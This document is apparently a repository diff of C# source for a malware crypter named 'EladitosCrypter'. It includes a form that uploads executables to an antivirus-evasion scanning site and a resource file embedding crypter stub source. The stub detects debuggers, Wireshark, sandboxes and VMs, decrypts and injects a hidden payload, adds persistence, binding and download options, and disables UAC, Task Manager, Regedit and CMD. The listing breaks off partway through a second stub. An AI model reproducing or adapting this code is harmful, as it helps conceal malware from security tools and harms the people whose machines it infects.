this.xtendPicBox1.Location = new Point(30, 0x23);
this.xtendPicBox1.Name = "xtendPicBox1";
this.xtendPicBox1.PictureFile = "";
this.xtendPicBox1.Size = new Size(0x1e5, 390);
this.xtendPicBox1.TabIndex = 0x34;
base.AutoScaleDimensions = new SizeF(6f, 13f);
// base.AutoScaleMode = AutoScaleMode.Font;
base.ClientSize = new Size(0x224, 0x1eb);
base.Controls.Add(this.xtendPicBox1);
base.Controls.Add(this.label2);
base.Controls.Add(this.instaButton2);
base.Controls.Add(this.instaButton1);
base.Controls.Add(this.txtURL);
base.Controls.Add(this.instaButton3);
base.Controls.Add(this.iscannther);
// base.FormBorderStyle = FormBorderStyle.None;
base.Name = "Scanner";
this.Text = "e";
base.ResumeLayout(false);
base.PerformLayout();
}
private void instaButton1_Click(object sender, EventArgs e)
{
OpenFileDialog dialog = new OpenFileDialog {
Filter = ".exe|*.exe",
ShowHelp = true,
Title = "Load File to Scan"
};
if (dialog.ShowDialog() == DialogResult.OK)
{
this.loc = dialog.FileName;
this.label2.Text = "File Loaded.";
this.label2.Refresh();
}
}
private void instaButton2_Click(object sender, EventArgs e)
{
if (this.loc == string.Empty)
{
this.label2.Text = "No file loaded.";
this.label2.Refresh();
}
else
{
this.label2.Text = "Scanning...";
this.label2.Refresh();
this.Scan(this.loc);
this.label2.Text = "Finished.";
}
}
private void instaButton3_Click(object sender, EventArgs e)
{
base.Close();
}
private void Scan(string file)
{
try
{
using (FileStream stream = System.IO.File.Open(file, FileMode.Open))
{
NameValueCollection values = new NameValueCollection();
UploadFile file2 = new UploadFile {
ContentType = "application/x-msdownload",
Filename = Path.GetFileName(file),
Name = "uploadedfile",
Stream = stream
};
values.Add("upload_file", "upload_file");
Console.WriteLine("Scanning...");
byte[] bytes = UploadFiles("http://www.refud.me/scan.php", new UploadFile[] { file2 }, values);
string input = Encoding.UTF8.GetString(bytes);
string tempFileName = Path.GetTempFileName();
string str3 = new Regex("location = \"(.*?)\";").Match(input).Groups[1].Value;
byte[] buffer2 = new WebClient().DownloadData(str3.Replace(".php?id=", "/") + ".png");
System.IO.File.WriteAllBytes(tempFileName, buffer2);
this.xtendPicBox1.PictureFile = tempFileName;
this.txtURL.Text = str3;
}
}
catch (Exception exception)
{
MessageBox.Show(exception.Message);
}
}
private void txtURL_TextChanged(object sender, EventArgs e)
{
}
public static byte[] UploadFiles(string address, IEnumerable<UploadFile> files, NameValueCollection values)
{
byte[] buffer3;
WebRequest request = WebRequest.Create(address);
request.Method = "POST";
string str = "---------------------------" + DateTime.Now.Ticks.ToString("x", NumberFormatInfo.InvariantInfo);
request.ContentType = "multipart/form-data; boundary=" + str;
str = "--" + str;
using (Stream stream = request.GetRequestStream())
{
byte[] buffer;
foreach (string str2 in values.Keys)
{
buffer = Encoding.ASCII.GetBytes(str + Environment.NewLine);
stream.Write(buffer, 0, buffer.Length);
buffer = Encoding.ASCII.GetBytes(string.Format("Content-Disposition: form-data; name=\"{0}\"{1}{1}", str2, Environment.NewLine));
stream.Write(buffer, 0, buffer.Length);
buffer = Encoding.UTF8.GetBytes(values[str2] + Environment.NewLine);
stream.Write(buffer, 0, buffer.Length);
}
foreach (UploadFile file in files)
{
buffer = Encoding.ASCII.GetBytes(str + Environment.NewLine);
stream.Write(buffer, 0, buffer.Length);
buffer = Encoding.UTF8.GetBytes(string.Format("Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"{2}", file.Name, file.Filename, Environment.NewLine));
stream.Write(buffer, 0, buffer.Length);
buffer = Encoding.ASCII.GetBytes(string.Format("Content-Type: {0}{1}{1}", file.ContentType, Environment.NewLine));
stream.Write(buffer, 0, buffer.Length);
file.Stream.CopyTo(stream);
buffer = Encoding.ASCII.GetBytes(Environment.NewLine);
stream.Write(buffer, 0, buffer.Length);
}
byte[] bytes = Encoding.ASCII.GetBytes(str + "--");
stream.Write(bytes, 0, bytes.Length);
}
using (WebResponse response = request.GetResponse())
{
using (Stream stream2 = response.GetResponseStream())
{
using (MemoryStream stream3 = new MemoryStream())
{
stream2.CopyTo(stream3);
buffer3 = stream3.ToArray();
}
}
}
return buffer3;
}
}
}
+25
View File
@@ -0,0 +1,25 @@
namespace EladitosCrypter
{
using System;
using System.IO;
using System.Runtime.CompilerServices;
public class UploadFile
{
// Methods
public UploadFile()
{
this.ContentType = "application/octet-stream";
}
// Properties
public string ContentType { get; set; }
public string Filename { get; set; }
public string Name { get; set; }
public System.IO.Stream Stream { get; set; }
}
}
+517
View File
@@ -0,0 +1,517 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Drawing;
using System.Drawing.Drawing2D;
//Theme created by DoggyCollin.
//http://www.hackforums.net/member.php?action=profile&uid=1278211
internal class InstaTheme : Control
{
/// <summary>
/// Gets or sets the visibility of the icon copied from the parent control.
/// </summary>
public bool ShowIcon { get { return _showIcon; } set { _showIcon = value; Invalidate(); } }
private bool _showIcon;
private Graphics G;
private Pen borderColor;
private SolidBrush textColor;
private SolidBrush fillheaderColor;
private SolidBrush fillbodyColor;
private Icon icon;
public InstaTheme()
{
SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.UserPaint | ControlStyles.ResizeRedraw, true);
borderColor = new Pen(Color.FromArgb(49, 49, 49));
textColor = new SolidBrush(Color.FromArgb(249, 249, 249));
fillheaderColor = new SolidBrush(Color.FromArgb(49, 49, 49));
fillbodyColor = new SolidBrush(Color.FromArgb(212, 212, 212));
//Set defaults
Font = new Font("Verdana", 7.0F);
ForeColor = textColor.Color;
}
protected override void OnHandleCreated(EventArgs e)
{
Dock = DockStyle.Fill;
if (Parent is Form)
{
Form tempWith1 = (Form)Parent;
tempWith1.FormBorderStyle = 0;
tempWith1.BackColor = fillheaderColor.Color;
icon = tempWith1.Icon;
}
base.OnHandleCreated(e);
}
protected override void OnMouseDown(System.Windows.Forms.MouseEventArgs e)
{
if (new Rectangle(Parent.Location.X, Parent.Location.Y, Width, 22).IntersectsWith(new Rectangle(MousePosition.X, MousePosition.Y, 1, 1)))
{
Capture = false;
Message M = Message.Create(Parent.Handle, 161, new IntPtr(2), IntPtr.Zero);
DefWndProc(ref M);
}
base.OnMouseDown(e);
}
protected override void OnPaintBackground(PaintEventArgs pevent)
{
}
protected override void OnPaint(PaintEventArgs e)
{
G = e.Graphics;
G.Clear(BackColor);
G.DrawRectangle(borderColor, new Rectangle(0, 0, Width, 23));
G.FillRectangle(fillheaderColor, new Rectangle(1, 1, Width, 23));
if (ShowIcon)
{
G.DrawIcon(icon, new Rectangle(5, 6, 12, 12));
G.DrawString(Text, Font, new SolidBrush(ForeColor), new Point(22, 6));
}
else
{
G.DrawString(Text, Font, new SolidBrush(ForeColor), new Point(5, 6));
}
G.DrawLine(new Pen(Color.FromArgb(249, 249, 249)), 4, 24, Width - 5, 24);
G.FillRectangle(fillbodyColor, new Rectangle(4, 25, Width - 8, Height - 29));
}
}
internal class InstaButton : Control
{
private Graphics G;
private bool isMouseDown;
private Pen borderColor;
private SolidBrush textColor;
private SolidBrush fillColor;
private SolidBrush downColor;
private StringFormat stringformat;
public InstaButton()
{
borderColor = new Pen(Color.FromArgb(49, 49, 49));
textColor = new SolidBrush(Color.FromArgb(249, 249, 249));
fillColor = new SolidBrush(Color.FromArgb(49, 49, 49));
downColor = new SolidBrush(Color.FromArgb(78, 123, 160));
stringformat = new StringFormat { Alignment = StringAlignment.Center, LineAlignment = StringAlignment.Center };
//Set defaults
Font = new Font("Verdana", 7.0F);
ForeColor = textColor.Color;
}
protected override void OnMouseDown(MouseEventArgs e)
{
isMouseDown = true;
Invalidate();
}
protected override void OnMouseUp(MouseEventArgs e)
{
isMouseDown = false;
Invalidate();
}
protected override void OnPaint(PaintEventArgs e)
{
G = e.Graphics;
G.Clear(BackColor);
SolidBrush currentBrush;
if (isMouseDown)
currentBrush = downColor;
else
currentBrush = fillColor;
G.DrawRectangle(borderColor, new Rectangle(0, 0, Width, Height));
G.FillRectangle(currentBrush, new Rectangle(0, 0, Width, Height));
G.DrawString(Text, Font, new SolidBrush(ForeColor), new Point(Width / 2, Height / 2), stringformat);
}
}
internal class InstaTabControl : TabControl
{
private Pen borderColor;
private SolidBrush textColor;
private SolidBrush fillColor;
private SolidBrush downColor;
private SolidBrush fillbodyColor;
public InstaTabControl()
{
SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.ResizeRedraw | ControlStyles.UserPaint | ControlStyles.DoubleBuffer, true);
DoubleBuffered = true;
SizeMode = TabSizeMode.Fixed;
Alignment = TabAlignment.Left;
ItemSize = new Size(30, 152);
borderColor = new Pen(Color.FromArgb(49, 49, 49));
textColor = new SolidBrush(Color.FromArgb(249, 249, 249));
fillColor = new SolidBrush(Color.FromArgb(49, 49, 49));
downColor = new SolidBrush(Color.FromArgb(78, 123, 160));
fillbodyColor = new SolidBrush(Color.FromArgb(212, 212, 212));
//Set defaults
Font = new Font("Verdana", 7.0F);
ForeColor = textColor.Color;
}
protected override void OnPaint(PaintEventArgs e)
{
Bitmap B = new Bitmap(Width, Height);
Graphics G = Graphics.FromImage(B);
G.Clear(fillbodyColor.Color);
for (int i = 0; i <= TabCount - 1; i++)
{
Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2), new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1));
if (i == SelectedIndex)
{
G.FillRectangle(downColor, new Rectangle(new Point(x2.Location.X, x2.Location.Y), new Size(GetTabRect(i).Size.Width, GetTabRect(i).Size.Height)));
}
else
{
G.FillRectangle(fillColor, new Rectangle(new Point(x2.Location.X, x2.Location.Y), new Size(GetTabRect(i).Size.Width, GetTabRect(i).Size.Height)));
}
G.DrawString(TabPages[i].Text, Font, new SolidBrush(ForeColor), new Rectangle(x2.Location.X + 6, x2.Location.Y, x2.Width - 20, x2.Height), new StringFormat
{
LineAlignment = StringAlignment.Center,
Alignment = StringAlignment.Near
});
}
e.Graphics.DrawImage((Image)B.Clone(), 0, 4);
G.Dispose();
B.Dispose();
}
public override Color BackColor
{
get
{
return fillbodyColor.Color;
}
set
{
base.BackColor = value;
}
}
protected override void OnControlAdded(ControlEventArgs e)
{
e.Control.BackColor = fillbodyColor.Color;
e.Control.Invalidate();
}
}
internal class InstaProgressBar : Control
{
/// <summary>
/// Value in percentage.
/// </summary>
public float Value { get { return _value; } set { _value = value; Invalidate(); } }
private float _value;
/// <summary>
/// Sets or gets the visibility setting for the percentage value.
/// </summary>
public bool ShowPercentage { get; set; }
private Graphics G;
private Pen borderColor;
private SolidBrush textColor;
private SolidBrush fillColor;
private SolidBrush downColor;
private StringFormat stringformat;
public InstaProgressBar()
{
this.SetStyle(ControlStyles.OptimizedDoubleBuffer, true);
borderColor = new Pen(Color.FromArgb(49, 49, 49));
textColor = new SolidBrush(Color.FromArgb(249, 249, 249));
fillColor = new SolidBrush(Color.FromArgb(49, 49, 49));
downColor = new SolidBrush(Color.FromArgb(78, 123, 160));
stringformat = new StringFormat { Alignment = StringAlignment.Center, LineAlignment = StringAlignment.Center };
ShowPercentage = true;
//Set defaults
Font = new Font("Verdana", 7.0F);
ForeColor = textColor.Color;
}
protected override void OnPaint(PaintEventArgs e)
{
G = e.Graphics;
float percent = ((float)Width / 100) * Value;
G.DrawRectangle(borderColor, new Rectangle(0, 0, Width, Height));
G.FillRectangle(fillColor, new Rectangle(0, 0, Width, Height));
G.FillRectangle(downColor, new Rectangle(2, 2, (int)percent - 4, Height - 4));
if (ShowPercentage)
G.DrawString(string.Format("{0}%", Value), Font, new SolidBrush(ForeColor), new Point((Width + 2) / 2, (Height + 2) / 2), stringformat);
}
}
internal class InstaCheckBox : Control
{
public bool Checked { get; set; }
public CheckStyleType CheckStyle { get; set; }
private Graphics G;
private Pen borderColor;
private SolidBrush textColor;
private SolidBrush fillColor;
private SolidBrush downColor;
private StringFormat stringformat;
public InstaCheckBox()
{
borderColor = new Pen(Color.FromArgb(49, 49, 49));
textColor = new SolidBrush(Color.FromArgb(49, 49, 49));
fillColor = new SolidBrush(Color.FromArgb(49, 49, 49));
downColor = new SolidBrush(Color.FromArgb(78, 123, 160));
stringformat = new StringFormat { Alignment = StringAlignment.Center, LineAlignment = StringAlignment.Center };
//Set defaults
Font = new Font("Verdana", 7.0F);
ForeColor = textColor.Color;
Checked = true;
CheckStyle = CheckStyleType.Square;
}
protected override void OnPaint(PaintEventArgs e)
{
G = e.Graphics;
switch (CheckStyle)
{
case CheckStyleType.Square:
G.DrawRectangle(borderColor, new Rectangle(0, 0, 12, 12));
G.DrawString(Text, Font, new SolidBrush(ForeColor), 14, 0);
if (Checked)
G.FillRectangle(downColor, new Rectangle(2, 2, 9, 9));
break;
case CheckStyleType.Round:
G.DrawEllipse(borderColor, new Rectangle(0, 0, 13, 13));
G.DrawString(Text, Font, new SolidBrush(ForeColor), 14, 0);
if (Checked)
G.FillEllipse(downColor, new Rectangle(2, 2, 9, 9));
break;
case CheckStyleType.Checkmark:
G.DrawRectangle(borderColor, new Rectangle(0, 0, 12, 12));
G.DrawString(Text, Font, new SolidBrush(ForeColor), 14, 0);
if (Checked)
{
G.DrawLine(new Pen(downColor.Color, 2), 3, 5, 7, 9);
G.DrawLine(new Pen(downColor.Color, 2), 6, 9, 9, 3);
}
break;
default:
break;
}
}
protected override void OnMouseClick(MouseEventArgs e)
{
Checked = !Checked;
Invalidate();
}
public enum CheckStyleType
{
Square = 0,
Round = 1,
Checkmark = 2
}
}
internal class InstaSeperator : Control
{
public float Thickness { get; set; }
public bool IsVertical { get; set; }
Graphics G;
public InstaSeperator()
{
Thickness = 1;
}
protected override void OnPaint(PaintEventArgs e)
{
G = e.Graphics;
if (IsVertical)
G.DrawLine(new Pen(Color.FromArgb(78, 123, 160), Thickness), 0, 0, 0, Height);
else
G.DrawLine(new Pen(Color.FromArgb(78, 123, 160), Thickness), 0, 0, Width, 0);
}
}
internal class InstaLabel : Control
{
private Graphics G;
private SolidBrush textColor;
public InstaLabel()
{
textColor = new SolidBrush(Color.FromArgb(49, 49, 49));
//Set defaults
Font = new Font("Verdana", 7.0F);
ForeColor = textColor.Color;
}
protected override void OnPaint(PaintEventArgs e)
{
G = e.Graphics;
G.DrawString(Text, Font, new SolidBrush(ForeColor), 0, 0);
}
}
public class InstaListView : ListView
{
public InstaListView()
{
this.DoubleBuffered = true;
this.OwnerDraw = true;
this.MultiSelect = false;
this.FullRowSelect = true;
}
private Brush white = new SolidBrush(Color.White);
private Brush black = new SolidBrush(Color.Black);
private Pen bluePen = new Pen(Color.FromArgb(78, 123, 160));
private Pen grayPen = new Pen(Color.FromArgb(49, 49, 49));
protected override void OnDrawColumnHeader(DrawListViewColumnHeaderEventArgs e)
{
var textSize = TextRenderer.MeasureText(e.Header.Text, this.Font);
if (e.Header.Width < (int)textSize.Width)
{
e.Header.Width = (e.Header.Width + textSize.Width);
this.Refresh();
}
e.Graphics.FillRectangle(new SolidBrush(grayPen.Color), e.Bounds.X, e.Bounds.Y, e.Header.Width, e.Bounds.Height - 3);
e.Graphics.DrawLine(new Pen(white), e.Bounds.X, e.Bounds.Y, e.Bounds.X, e.Bounds.Height - 4);
using (Font font = new Font(this.Font.FontFamily, this.Font.Size, FontStyle.Bold))
{
e.Graphics.DrawString(e.Header.Text, font, white, e.Bounds.X + ((e.Header.Width / 2) - (textSize.Width / 2)), (e.Bounds.Y / 2));
}
if (e.ColumnIndex == (this.Columns.Count - 1))
{
int newlength = this.Width - (e.Bounds.X + e.Bounds.Width);
e.Graphics.FillRectangle(new SolidBrush(grayPen.Color), (this.Width - newlength), e.Bounds.Y, newlength, e.Bounds.Height - 3);
}
}
protected override void OnDrawItem(DrawListViewItemEventArgs e)
{
if (e.Item.Selected)
{
Rectangle rowBounds = e.Bounds;
int leftMargin = e.Item.GetBounds(ItemBoundsPortion.Label).Left;
Rectangle bounds = new Rectangle(rowBounds.Left, rowBounds.Top, rowBounds.Width, rowBounds.Height);
e.Graphics.FillRectangle(new SolidBrush(Color.FromArgb(200, bluePen.Color)), bounds.X, bounds.Y, bounds.Width, bounds.Height);
}
else
{
e.DrawDefault = true;
}
}
protected override void OnDrawSubItem(DrawListViewSubItemEventArgs e)
{
if (e.Item.Selected)
{
Rectangle rowBounds = e.SubItem.Bounds;
Rectangle labelBounds = e.Item.GetBounds(ItemBoundsPortion.Label);
int leftMargin = labelBounds.Left - 1;
Rectangle bounds = new Rectangle(rowBounds.Left + leftMargin, rowBounds.Top, e.ColumnIndex == 0 ? labelBounds.Width : (rowBounds.Width - leftMargin - 1), rowBounds.Height);
TextFormatFlags align = TextFormatFlags.Default;
switch (this.Columns[e.ColumnIndex].TextAlign)
{
case HorizontalAlignment.Right:
align = TextFormatFlags.Right;
break;
case HorizontalAlignment.Center:
align = TextFormatFlags.HorizontalCenter;
break;
default:
align = TextFormatFlags.Left;
break;
}
TextRenderer.DrawText(e.Graphics, e.SubItem.Text, this.Font, bounds, this.ForeColor,
align | TextFormatFlags.SingleLine | TextFormatFlags.GlyphOverhangPadding | TextFormatFlags.VerticalCenter | TextFormatFlags.WordEllipsis);
}
}
protected override void OnFontChanged(EventArgs e)
{
base.OnFontChanged(e);
}
[System.Runtime.InteropServices.DllImport("user32.dll", CharSet = System.Runtime.InteropServices.CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, int Msg, int wParam, int lParam);
protected override void OnSelectedIndexChanged(EventArgs e)
{
base.OnSelectedIndexChanged(e);
SendMessage(Handle, 0x127, 0x10001, 0);
}
protected override void OnEnter(EventArgs e)
{
base.OnEnter(e);
SendMessage(Handle, 0x127, 0x10001, 0);
}
protected override void OnPreviewKeyDown(PreviewKeyDownEventArgs e)
{
base.OnPreviewKeyDown(e);
SendMessage(Handle, 0x127, 0x10001, 0);
}
}
+118
View File
@@ -0,0 +1,118 @@
//------------------------------------------------------------------------------
// <auto-generated>
// Ce code a été généré par un outil.
// Version du runtime :4.0.30319.34209
//
// Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si
// le code est régénéré.
// </auto-generated>
//------------------------------------------------------------------------------
namespace EladitosCrypter.Properties {
using System;
/// <summary>
/// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées.
/// </summary>
// Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder
// à l'aide d'un outil, tel que ResGen ou Visual Studio.
// Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen
// avec l'option /str ou régénérez votre projet VS.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
/// <summary>
/// Retourne l'instance ResourceManager mise en cache utilisée par cette classe.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("EladitosCrypter.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// Remplace la propriété CurrentUICulture du thread actuel pour toutes
/// les recherches de ressources à l'aide de cette classe de ressource fortement typée.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
/// <summary>
/// Recherche une chaîne localisée semblable à using System;
///using System.Text;
///using System.IO;
///using System.Reflection;
///using System.Resources;
///using System.Threading;
///using System.Diagnostics;
///using System.Windows.Forms;
///using System.Runtime.InteropServices;
///using System.Security.Cryptography;
///using System.Text.RegularExpressions;
///using System.Collections.Generic;
///using System.Management;
///using System.Reflection;
///
///namespace AA1
/// {
/// internal class AA3
/// {
/// static void Main(string[] PP1PP2)
/// {
/// [le reste de la chaîne a été tronqué]&quot;;.
/// </summary>
internal static string Source1 {
get {
return ResourceManager.GetString("Source1", resourceCulture);
}
}
/// <summary>
/// Recherche une chaîne localisée semblable à using System;
///using System.Text;
///using System.IO;
///using System.Reflection;
///using System.Resources;
///using System.Windows.Forms;
///using System.Runtime.InteropServices;
///using System.Collections.Generic;
///using System.Drawing;
///
///[assembly: AssemblyTitle(&quot;[TITLE]&quot;)]
///[assembly: AssemblyDescription(&quot;[ASSDESCRIPTION]&quot;)]
///[assembly: AssemblyCompany(&quot;[COMPANY]&quot;)]
///[assembly: AssemblyProduct(&quot;[PRODUCT]&quot;)]
///[assembly: AssemblyCopyright(&quot;[COPYRIGHT]&quot;)]
///[assembly: AssemblyVersion(&quot;[VERSION]&quot;)]
///[assembly: Assemb [le reste de la chaîne a été tronqué]&quot;;.
/// </summary>
internal static string stub {
get {
return ResourceManager.GetString("stub", resourceCulture);
}
}
}
}
+791
View File
@@ -0,0 +1,791 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="Source1" xml:space="preserve">
<value>using System;
using System.Text;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Threading;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text.RegularExpressions;
using System.Collections.Generic;
using System.Management;
using System.Reflection;
namespace AA1
{
internal class AA3
{
static void Main(string[] PP1PP2)
{
try
{
Thread.Sleep([SLEEP]);
if([ANTI])
{
if(DWireshark() || IsDebuggerPresent() || DEmulation() ||DSandboxie() || DVM())
{
Environment.Exit(0);
}
}
string encKey = "[ENCRYPTION]";
bool start = [STARTUP];
bool bind = [BIND];
bool download = [DOWNLOAD];
bool message = [MESSAGE];
bool disable = true;
byte[] bytes = (byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("[RESNAME]");
string[] SS1 = Regex.Split(Encoding.Default.GetString(bytes), "MORPHEOUS");
Assembly lib = AppDomain.CurrentDomain.Load(BB3(Encoding.Default.GetBytes(SS1[1]), encKey));
byte[] server = BB3(Encoding.Default.GetBytes(SS1[0]), encKey);
foreach(Type t in lib.GetTypes())
{
if(t.Name == "RunLib")
{
if(start)
{
t.InvokeMember("sup", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{Assembly.GetEntryAssembly().Location,"[SFILE]", "[SNAME]", false});
}
t.InvokeMember("Inj", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{server, "[INJECT]", [PERSISTENCE] ,false, false,"[SFILE]", PP1PP2});
if(bind)
{
t.InvokeMember("Bind", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{BB3((byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("bind"),encKey), "[BINDONCE]"});
}
if(download)
{
t.InvokeMember("d", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{Encoding.Default.GetString(BB3((byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("dl"), encKey)), "[DLONCE]"});
}
if(message)
{
t.InvokeMember("mb", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{"[BODY]","[TITLE]","warning", "[MSGONCE]"});
}
if(disable)
{
t.InvokeMember("dbl", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{new bool[]{[UAC],[TASKMGR],[REGEDIT],[CMD]}});
}
}
}
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
}
}
public static byte[] BB3(byte[] DD3, string DD2)
{
byte[] DD1 = System.Text.Encoding.ASCII.GetBytes(DD2);
for (int i = 0; i &lt; DD3.Length; i++) DD3[i] ^= (byte)(DD1[i % DD2.Length] &gt;&gt; (i + 5 + DD1.Length) &amp; 255);
return DD3;
}
//DWireshark() || IsDebuggerPresent() || DEmulation() ||DSandboxie() || DVM()
[DllImport("kernel32")]
static extern bool IsDebuggerPresent();
private static bool DWireshark()
{
Process[] ProcessList = Process.GetProcesses();
foreach (Process proc in ProcessList)
{
if (proc.MainWindowTitle.Equals("The Wireshark Network Analyzer"))
{
return true;
}
}
return false;
}
private static bool DEmulation()
{
long tickCount = Environment.TickCount;
Thread.Sleep(500);
long tickCount2 = Environment.TickCount;
if (((tickCount2 - tickCount) &lt; 500L))
{
return true;
}
else return false;
}
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
private static bool DSandboxie()
{
if (GetModuleHandle("SbieDll.dll").ToInt32() != 0)
{
return true;
}
else return false;
}
public static bool DVM()
{
bool result = false;
const string MICROSOFTCORPORATION ="microsoft corporation";
try
{
ManagementObjectSearcher searcher =
new ManagementObjectSearcher("root\\CIMV2","SELECT * FROM Win32_BaseBoard");
foreach (ManagementObject queryObj in searcher.Get())
{
result = queryObj["Manufacturer"].ToString().ToLower() == MICROSOFTCORPORATION.ToLower();
}
return result;
}
catch (ManagementException ex)
{
return result;
}
}
}
}</value>
</data>
<data name="stub" xml:space="preserve">
<value>using System;
using System.Text;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Drawing;
[assembly: AssemblyTitle("[TITLE]")]
